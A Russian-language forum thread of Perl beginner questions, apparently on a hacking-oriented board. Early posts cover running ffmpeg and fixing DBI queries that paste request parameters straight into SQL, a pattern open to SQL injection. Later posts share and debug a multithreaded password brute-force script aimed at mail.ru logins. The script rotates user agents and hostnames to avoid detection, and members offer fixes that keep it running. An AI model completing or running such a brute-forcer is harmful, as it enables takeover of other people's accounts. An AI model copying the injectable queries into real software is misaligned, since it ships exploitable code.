[Perl] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    811
    Reputations:
    231
    "Виснет" видимо потому, что при использовании system скрипт будет ожидать завершения процесса конвертирования.
     
    _________________________
  2. anubis666

    anubis666 New Member

    Joined:
    17 Aug 2009
    Messages:
    31
    Likes Received:
    0
    Reputations:
    0
    но конвертер консольный( ffmpeg.exe)а как я знаю консольные приложения сразу закрываются после выполнения сценария... почему же
    Code:
    #!"D:\xampp\perl\bin\perl.exe"
    
    print "Content-Type: text/html\n\n";
    
    print "OK";
    system ('start D:\tmp\ffmpeg.exe -i D:\tmp\video.avi -ar 22050 -ab 32 -f flv -s 320x240 video2.flv')
    выполняется нормально и создает превью?!
     
  3. roddik

    roddik Member

    Joined:
    14 Jan 2009
    Messages:
    117
    Likes Received:
    13
    Reputations:
    0
    вроде бы как перл будет ждать ответа от system, чтобы это отключить, надо перенаправить вывод системной команды, попробуй посмотреть во что превращается "start D:\tmp\ffmpeg.exe -i D:\tmp\$name -an -ss 00:00:10 -r 1 -vframes 1 -s 200?200 -y -f mjpeg $name.jpg", потом запусти в консоли, будет ли долго исполнять, если нет, заюзай профайлер
     
  4. anubis666

    anubis666 New Member

    Joined:
    17 Aug 2009
    Messages:
    31
    Likes Received:
    0
    Reputations:
    0
    всё..большое спасибо за ответы, проблема решается токо когда указываеш полный путь к файлу..но теперь проблема...надо каждый раз прописывать путь к новому видео...как это автоматизировать в этом скрипте?
     
  5. demond

    demond Member

    Joined:
    5 Nov 2008
    Messages:
    101
    Likes Received:
    22
    Reputations:
    5
    прибавляй к имени файла, там где это нужно, путь. и будет тебе счастье! :)
     
  6. anubis666

    anubis666 New Member

    Joined:
    17 Aug 2009
    Messages:
    31
    Likes Received:
    0
    Reputations:
    0
    и сново я...объясните мне что делаю не так!есть perl скрипт
    Code:
    #!"D:\perl\bin\perl.exe" 
    
    use DBI;
    use CGI qw/:standard/;
    use CGI qw(param);
    use CGI::Carp qw(fatalsToBrowser);
    my $dbh = DBI->connect("DBI:mysql:database=video;host=localhost",
    "****", "****") || die $DBI::errstr;
    print "Content-Type: text/html\n\n";
    my $view=param('id');
    my $video=param('v');
    my $title=param('t');
    $result = $dbh->do("SELECT file_id FROM video WHERE file_id='$view'");
    $result2 = $dbh->do("SELECT video_id FROM video WHERE video_id='$video'");
    $result3 = $dbh->do("SELECT title_id FROM video WHERE title_id='$title'");
    print "<center>$result2</center>";
    print "<center><script type='text/javascript' src='http://videoserver.3-a.net/files/public/flvpleer/swfobject.js'></script>
     
    <div id='mediaspace'>This text will be replaced</div>
     
    <script type='text/javascript'>
      var so = new SWFObject('http://videoserver.3-a.net/files/public/flvpleer/player.swf','mpl','640','480','9')
      so.addParam('allowfullscreen','true')
      so.addParam('allowscriptaccess','always')
      so.addParam('wmode','opaque')
      so.addVariable('file','http://videoserver.3-a.net/files/mediagallery/media/$result')
      so.addVariable('image','http://videoserver.3-a.net/files/mediagallery/images/$result.jpg')
      so.write('mediaspace')
    </script>
    </center>";
    print "краткое описание $result3";
    $dbh->disconnect();
    почему значение переменных ($result,$result2,$result3) равно 1,хотя должно выводится значение полей (file_id,video_id,title_id)? я так понимаю это из-за использования метода do..если я прав то как это исправить?(хотя даже если не прав ,как исправить?)
     
  7. PvgValo

    PvgValo Active Member

    Joined:
    1 Aug 2009
    Messages:
    548
    Likes Received:
    160
    Reputations:
    57
    Очень боюсь ошибиться, так как совсем недавно начал писать на Perl! Но для получения данных использую не do, а следующим образом:
    $result = $dbh->prepare("SELECT file_id FROM video WHERE file_id='$view'");
    $result->execute();
    $result = $result->fetchrow_hashref();
     
    #1147 PvgValo, 30 Aug 2009
    Last edited: 30 Aug 2009
  8. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    811
    Reputations:
    231
    Прочти описание метода do и вопросы отпадут
     
    _________________________
  9. anubis666

    anubis666 New Member

    Joined:
    17 Aug 2009
    Messages:
    31
    Likes Received:
    0
    Reputations:
    0
    при использовании prepare выводится значение DBI::st=HASH(0x198c884) ,а когда остальные появляются ошибки ... :confused:
     
  10. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    омг
    do() используется для запросов UPDATE и INSERT и тп, так как возвращает результат запроса (1=ошибки нет, 0=ошибка)
    Юзай prepare(),execute() и fetchrow_hashref
     
    #1150 Spyder, 30 Aug 2009
    Last edited: 30 Aug 2009
  11. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    $fileid= $result->{file_id}
     
  12. anubis666

    anubis666 New Member

    Joined:
    17 Aug 2009
    Messages:
    31
    Likes Received:
    0
    Reputations:
    0
    тогда почему при использовании prepare мне выводится значение не поля а DBI::st=HASH(0x1a2c884),использую execute выходит ошибка Can't locate object method "execute" via package "DBI::db" at D:/xampp/cgi-bin/new/video.pl line 13.,использую fetchrow_hashref выходит Can't locate object method "fetchrow_hashref" via package "DBI::db" at D:/xampp/cgi-bin/new/video.pl line 13. ..ЧТО ДЕЛАТЬ?ДА Я НУБ!!но что делать? :confused:
     
  13. PvgValo

    PvgValo Active Member

    Joined:
    1 Aug 2009
    Messages:
    548
    Likes Received:
    160
    Reputations:
    57
    Вот! Если не ошибаюсь, должно быть так! НЕ судите строго если ошибся... :rolleyes:

    Code:
    #!"D:\perl\bin\perl.exe"   
    use DBI;
    use CGI qw/:standard/; use CGI qw(param); 
    use CGI::Carp qw(fatalsToBrowser); 
    my $dbh = DBI->connect("DBI:mysql:database=video;host=localhost", "****", "****") || die $DBI::errstr; 
    print "Content-Type: text/html\n\n"; 
    my $view=param('id'); my $video=param('v'); 
    my $title=param('t'); 
    $result = $dbh->prepare("SELECT file_id FROM video WHERE file_id='$view'"); 
    $result->execute(); 
    $result2 = $dbh->prepare("SELECT video_id FROM video WHERE video_id='$video'"); 
    $result2->execute(); 
    $result3 = $dbh->prepare("SELECT title_id FROM video WHERE title_id='$title'"); 
    $result3->execute(); 
    my $result_file = $result->fetchrow_hashref(); 
    my $result_video = $result2->fetchrow_hashref(); 
    my $result_title = $result3->fetchrow_hashref(); 
    print "<center>$result_video->{video_id}</center>";
    print "<center><script type='text/javascript' src='http://videoserver.3-a.net/files/public/flvpleer/swfobject.js'>
    </script>   
    <div id='mediaspace'>This text will be replaced</div>   
    <script type='text/javascript'>   
    var so = new SWFObject('http://videoserver.3-a.net/files/public/flvpleer/player.swf','mpl','640','480','9')   
    so.addParam('allowfullscreen','true')   
    so.addParam('allowscriptaccess','always')   
    so.addParam('wmode','opaque')   
    so.addVariable('file','http://videoserver.3-a.net/files/mediagallery/media/$result_file->{file_id}')   
    so.addVariable('image','http://videoserver.3-a.net/files/mediagallery/images/$result_file->{file_id}.jpg')   
    so.write('mediaspace') 
    </script> 
    </center>"; 
    print "краткое описание $result_title->{title_id}";
    $dbh->disconnect();
     
    #1153 PvgValo, 30 Aug 2009
    Last edited: 30 Aug 2009
  14. anubis666

    anubis666 New Member

    Joined:
    17 Aug 2009
    Messages:
    31
    Likes Received:
    0
    Reputations:
    0
    СПАСИБО!!!буду изучать дальше perl
     
  15. iveyk

    iveyk New Member

    Joined:
    17 Jun 2007
    Messages:
    10
    Likes Received:
    0
    Reputations:
    0
    Здраствуйте,
    Пробую переделать скрипт для брута вконтакте, вроде всё правильно сделал, но при запуске получаю ошибку:
    Thread 3 terminated abnormally: Can't use an undefined value as a symbol referen
    ce at qw.pl line 32.
    Вот код скрипта:
    Code:
    #!/usr/bin/perl -W
    
    use IO::Socket; 
    use MD5; 
    use threads; 
    use threads::shared; 
    my @pass : shared; 
    $dic = "passl.txt"; #паслист для брдутфорсера
    $login = 'login';
    $threads = 4; #количество потоков 
    @prefixes = ('as','sd','df','dff','fg','gh','hj');
    @agents = ('Mozilla/4.0','Mozilla/5.0','Opera/9.22','IE','AppleMAC-Safari','Opera','FireFox');
    
    open (pass1, "<$dic"); 
    
    @pass = pass(); 
    
    for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);} 
    for(@trl) { $_->join; } 
    
    sub Brut 
    { 
    
    while (@pass){ 
    
    $pass = shift @pass; 
    
    my $random = int(rand(6));
    my $prefix = $prefixes[$random];
    print("random: $random prefix: $prefix pass: $pass\r\n");
    my $sock = IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>"http://".$prefix.".mail.ru",PeerPort=>80); 
    print $sock "HEAD http://".$prefix.".mail.ru/login.php?username=".$login."&password=".$pass." HTTP/1.0\r\n". 
    "Host: ".$prefix.".mail.ru\r\n". 
    "Accept: */*\r\n". 
    "Content-Type: application/x-www-form-urlencoded\r\n". 
    "User-Agent: ".$agents[$random]."\r\n". 
    "Connection: close\r\n\r\n"; 
    $answ = <$sock>; 
    close $sock; 
    print "$pass $answ"; 
    if ($answ =~ /302/){ 
    print "$login : $pass\n"; 
    exit;} 
    } 
    
    } 
    
    
    sub pass 
    { 
    my (@mas); 
    while (<pass1>){ 
    push @mas, $_; 
    } 
    chomp @mas; 
    close pass1;
    return @mas; 
    }
    Если несолжно, подскажите пожалуйста в чём ошибка, и как исправить?
    p.s. mail.ru вписан просто для примера :)
     
  16. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    811
    Reputations:
    231
    Попробуй замени
    PeerAddr=>"http://".$prefix.".mail.ru"
    на
    PeerAddr=>"mail.ru"
     
    _________________________
    1 person likes this.
  17. iveyk

    iveyk New Member

    Joined:
    17 Jun 2007
    Messages:
    10
    Likes Received:
    0
    Reputations:
    0
    Но мне как-раз нужны эти префиксы, и чтобы при каждом запросе они были разные (случайное число из рандома) и user-agent тоже нужно чтобы случайный был :/
     
  18. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    811
    Reputations:
    231
    Но http:// то зачем дописывать?
     
    _________________________
  19. iveyk

    iveyk New Member

    Joined:
    17 Jun 2007
    Messages:
    10
    Likes Received:
    0
    Reputations:
    0
    Убрал http:// та же ошибка :(
     
  20. cr0w

    cr0w Elder - Старейшина

    Joined:
    11 Sep 2008
    Messages:
    92
    Likes Received:
    141
    Reputations:
    33
    iveyk

    Code:
    my $sock = IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>"http://".$prefix.".mail.ru",PeerPort=>80); 
    print $sock "HEAD http://".$prefix.".mail.ru/login.php?username=".$login."&password=".$pass." HTTP/1.0\r\n".
    Здесь не учитываются возможные ошибки при создании сокета. Т.е. надо добавить что то вроде:
    Code:
    my $sock = IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>"http://".$prefix.".mail.ru",PeerPort=>80) or {unshift(@pass, $pass); Brut(); exit()};
     
    #1160 cr0w, 9 Sep 2009
    Last edited: 9 Sep 2009
Thread Status:
Not open for further replies.